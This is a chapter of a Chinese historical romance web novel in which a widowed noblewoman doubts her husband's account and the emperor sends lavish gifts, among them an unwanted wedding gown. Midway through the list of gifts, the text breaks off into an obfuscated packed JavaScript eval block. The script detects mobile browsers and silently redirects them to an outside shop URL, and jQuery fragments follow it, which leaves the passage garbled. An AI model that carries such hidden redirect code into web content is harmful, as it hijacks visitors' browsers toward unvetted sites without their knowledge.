文趣网 > 其他小说 > 不信你问嫂嫂 > 11. 赏赐
    可回忆太清晰,乌衔枝甚至记得他的步法、每一招的起手和收势,那般凌厉的刀法她从未见过,怎么会是她的幻觉呢?

    乌衔枝带着满腹疑窦回了屋,外间炉火已熄,她脱下长袍朝里间去。

    她的郎君竟在榻上熟睡。

    乌衔枝蹙眉俯身侧耳去听,呼吸匀称,心跳平缓,真像是睡着许久的样子。

    “郎君昨夜出去过吗?”

    翌日清晨,乌衔枝见俞临川一睁眼便问道。

    俞临川装睡一宿,想了一夜对策,现下被问,心里虽有些慌,但面上淡定自若,自然反问:“出去作甚?娘子何故有此问?”

    乌衔枝未觉有异:“起夜时未见郎君,出去找了一圈,回来见郎君在榻上睡着,故有此问。没出去过吗?”

    俞临川一面系衣带,一面俯身将脸凑近阿嫂:“娘子可是昨夜累着了?再睡会儿罢。”

    真的是幻觉吗?

    乌衔枝还是觉着不对,她推开俞临川,抬手唤留青过来:“你昨儿进来熄炉子的时候,郎君可在榻上?”

    “大娘子说笑了,奴婢哪儿敢朝里间看。”留青觑了眼俞临川,笑着为乌衔枝穿衣,“昨夜奴婢听您在院外说话,怕您冻着,就急匆匆拿了件大氅,给您送去。”

    “大娘子昨夜怎一个人去林外廊下?”

    乌衔枝任留青摆弄,心里虽还有疑,却也信了八分。

    “昨夜风急,大娘子与郎君睡得可还算安稳?”

    留青忧心忡忡,昨夜是顶好的机会,也不知大娘子有没有成事。

    乌衔枝垂眸轻声道:“事烦梦多,总不算安稳。”

    俞临川咽了下口水,放低声音道:“娘子累了就莫要多想,好生歇息,有什么想要的尽可跟我说,我自无不应的。”

    乌衔枝抬眸看了眼俞临川,抬手捋了下他的衣衿:“时辰不早了,二郎尸身送回来了吗?入殓还需郎君主持,快去罢,妾等你回来。”

    “你操心太多才会如此忧愁不快,俗话说:‘事到临头,自然有路。’不过是个衣冠冢罢了。”俞临川一心宽慰阿嫂,“我迟些去也不打紧,放心罢!”

    “嘴贫。”乌衔枝轻点俞临川额头,等等,“怎是衣冠冢?二郎呢?”

    乌衔枝晃神一瞬,昨夜俞临川林中舞刀的场景再度浮现。

    二郎会不会没死?昨夜是他回来了?只是要等个合适的时机再出现?

    俞临川自知又说错话了,找补道:“贼人伤其性命犹嫌不够,还夺走了他的尸身……我必要为二郎报仇雪恨!”

    “竟是如此。”乌衔枝愣愣点头,“郎君快去罢,二郎等你呢。”

    不过两句话的工夫,她的心里竟生出一种,俞临川短暂活了过来,但又立刻真的死掉的恍惚感。

    竟是尸骨无存。

    留青狠狠剜了眼俞临川的背影,话忒多,事又不做,骗大娘子也不知道骗得真些,她都教他了,千叮咛万嘱咐的,竟还这么怂!

    她急得如热锅上的蚂蚁:“大娘子,郎君要去了。”

    有守灵做借口,二郎怕是不会回锦舒院了,大娘子这胎还没半点指望,可如何是好啊。

    乌衔枝神思回笼,自然走到俞临川身前,重新为他系了衣带:“郎君早些回来。”

    俞临川怔愣一瞬,他看着阿嫂纤细的手指一点点解开他系好的衣带,而后熟练地系了个更好看的样式。

    说完话,系好衣带也不走,阿嫂微微扬起下巴看着自己,轻轻嘟了嘟唇瓣,似是邀吻。

    余光瞥见留青催促的眼神,他一瞬明白过来,这是阿嫂和大哥的日常习惯。

    可他不是大哥。

    俞临川屏住呼吸,退后半步,侧身避开乌衔枝,飞也似地快步逃了,只丢下一个字:“好。”

    屋门关得又轻又急,乌衔枝反应过来时,俞临川连影都没了。

    留青痛心疾首,没忍住小声嘟囔道:“这可如何是好。”

    乌衔枝瞥了眼留青,轻笑道:“晚膳多备些郎君爱吃的,鹿肉要切得再薄些,老夫人送的石榴酒也备上罢。”

    吃饱喝足,歇息好了晚上才有力气干活不是。

    昨夜是怕将他逼得太紧,二人反生嫌隙,今夜她可不会手软。

    乌衔枝志在必得,她从未想过自家郎君会不回锦舒院。

    “是。”留青见她这般胜券在握,也放下心来,专心盘算起晚膳来。

    主仆二人一前一后出屋门,便见乌觅珠半蹲在院中垂丝海棠树下,手里不知在捣鼓什么。

    听到身后脚步声,乌觅珠先转头确认,见是阿姐,立马丢开手中木棍,小跑上前嬉笑道:“阿姐!昨儿身子不爽利便没来寻阿姐,可这心里又念得紧,今日再不来怕是要得相思病了!阿姐可有想我?”

    “怪说呢,我还以为你又跑去哪儿玩了呢。”乌衔枝上下打量了一遍自家二妹,“哪儿不舒服?今日可好些了?有让云苓看过没有?”

    “头晕胸闷罢了,小毛病,现下见了阿姐,什么病也没了。”乌觅珠挽着乌衔枝坐到树下用早膳,粥还没进嘴,便低声问道,“俞家二郎去了?我那院子可要挂白布?”

    “不必,你是客,又有身孕,莫要冲撞了才是。”乌衔枝轻叹道,“二郎走了,俞家这日子怕是也要难过了。”

    若说这世上有一人能让乌衔枝卸下所有防备,那便只会是自家二妹乌觅珠。

    乌觅珠瞥了眼四周,确认丫鬟们离得都不算近,便笑着贴到乌衔枝耳边:“阿姐怕什么,还有子真呢!他定不会让徐家赶尽杀绝的。”

    乌衔枝狠狠剜了眼自家二妹:“你当他是什么善茬!”

    见乌觅珠还笑,并不把她的话当回事,乌衔枝还想再说些什么,却被来人打断。

    是宫里侍奉天子的邓内侍,身后跟着两小黄门,再后头是抬着五个精致木箱的侍卫。

    一行人也算是浩浩荡荡,府中小厮、丫鬟见之皆驻足行礼。

    乌衔枝无奈放下刚舀起的勺,乌觅珠则赶紧将勺塞进嘴里,囫囵吃上一口粥,起身慢了半拍。

    乌衔枝快步上前迎人,不动声色地挡住邓内侍看向乌觅珠的视线:“不知道内侍大驾光临,有失远迎。”

    她神态自若,语气平淡,话里话外隐隐有赶人的意思。

    邓内侍恍若未闻,白胖的脸上堆着笑,热络道:“多年不见乌大小姐,您风采更甚从前呐。”

    乌衔枝咬了咬后槽牙,垂眸不再说话。

    傅子真一朝成了天子,原本憨直的邓逊也跟着鸡犬升天,在宫里学会了这笑里藏刀的好本事,现下想用她与傅子真的旧事拿捏她,让她弯腰低头,捧他、奉承他,真有够恶心的。

    乌衔枝冷哼一声,转头又坐了回去,慢悠悠吃起粥来。

    邓逊心下叫苦不迭,他怎么也没想到乌衔枝现下仍不愿重提当年之事。

    他脸都笑僵了也没等到乌衔枝出声,幸有慢半步的乌觅珠上前解围:“不知邓内侍来此所为何事?”

    “俞大娘子大喜!”邓逊惯是个能屈能伸的,有台阶立刻就下,还怕再惹乌衔枝生气,连称呼都改了,“陛下听闻大娘子有喜,龙颜大悦,特命小的送来南海真珠百颗、

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787916|210233||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    渤海珠百颗,珠链、珠珰、珠钗各三样,翡翠手镯、发钗亦各样三只,供大娘子把玩。”

    随着唱和,第一只箱子抬至乌衔枝眼前,小黄门殷勤打开。

    满箱珍珠翡翠整齐陈列,各个夺人心魄。

    美得乌觅珠倒吸了口凉气。

    “绛纱灯、狮子灯、无骨灯、走马灯各一盏,皆为陛下亲手制成,给大娘子解闷。”

    第二只箱子打开,四盏灯也算是造工精美。

    “徽州进贡的笔墨纸砚两套,壁画所需颜料若干,画卷一幅。”

    乌衔枝一眼看出是自己六年前于净莲寺所绘水月观音图,没忍住暗暗翻了个白眼。

    “另有五年、十年、五十年人参各一只。”

    “最后这箱,小的不便多言,劳俞大娘子自观。”

    邓逊意味深长地看了眼乌衔枝,由留青客客气气送走。

    “阿姐,我能看看吗?”乌觅珠好奇地摸着最后一只箱子。

    该送的都在前头四个箱子里,这只能是什么呢?

    乌衔枝隐隐猜到了些,厌恶道:“破烂玩意看了都是脏眼睛,让留青扔进库房最里面去。”

    闻言,乌觅珠更好奇了:“别啊阿姐,就让我看一眼嘛。”

    说着便蹲下身自顾将箱子打开一条缝,她顺着缝朝里看,漏进去的残光点亮最上层的珍珠、金簪,可内里还是看不清,缝隙越开越大,下方细密的金丝线随之泛起流光,乌觅珠看清是什么后,失神喃喃:“天呐。”

    惊惧错愕间,乌觅珠松了手,木箱大开。

    刚送完人回来的留青惊呼:“天爷。”

    不明缘由的她脑瓜子嗡嗡响,见小丫鬟们正齐齐朝这边过来,赶忙上前将嫁衣箱子合上。

    砰咚一声巨响,乌衔枝缓缓闭上了眼。

    挨千刀的傅子真,怎么还没死!

    “阿、阿、阿姐,他、他这是何意?”

    金丝钩织的青绿嫁衣上莲花与孔雀共舞,珍珠点缀得恰到好处,九支金花钗昭示着此为亲王王妃大婚婚服。

    本朝无亲王。

    而当今天子登基前封号为宁王,是两朝唯一一个亲王。

    乌觅珠不明白,傅子真若有意娶阿姐,难道不应该送皇后或贵妃规制的嫁衣吗?

    乌衔枝嗤笑道:“他一向脑子有问题,你又不是不知道。”

    狗屁的少时情谊,不过畏惧徐家不敢废后,但见俞家没有依仗,按捺不住他那龌龊心思,便送来二人曾说过的嫁衣来表心迹。

    前儿人才死,今日就这般迫不及待了。

    真是一如既往的恶心!

    要不是有徐家压制,他怕是恨不得拿个大喇叭告诉俞家,要想讨好他就把她献出去是吧!

    她是死了小叔,又不是死了郎君!

    偷摸送来这东西叫明君所为吗!

    乌衔枝万分嫌弃道:“快将这破烂拿走,别脏了我与二妹的眼!”

    留青瞪大双眼,力竭道:“大娘子,奴婢刚刚在院门口,看到李嬷嬷领着个太医正朝咱们院子来了。”

    幸好她紧赶着来报信,不然让李嬷嬷见着了这嫁衣,这日子怕是就真的没法过了。

    乌衔枝捏了捏眉心,头疼的事儿真是一件接一件,根本不给她喘息的时间。

    在李嬷嬷一惊一乍的大嗓门中,她转身回了卧房,短匕出鞘,锋利刀刃上映出她清冷决绝的眸子,自顾对视一眼,纷乱思绪瞬间平复。

    她将短匕藏入袖中,轻笑出门,迎上李嬷嬷热络寒暄:“什么风将您吹来了?老夫人今日可还安好?”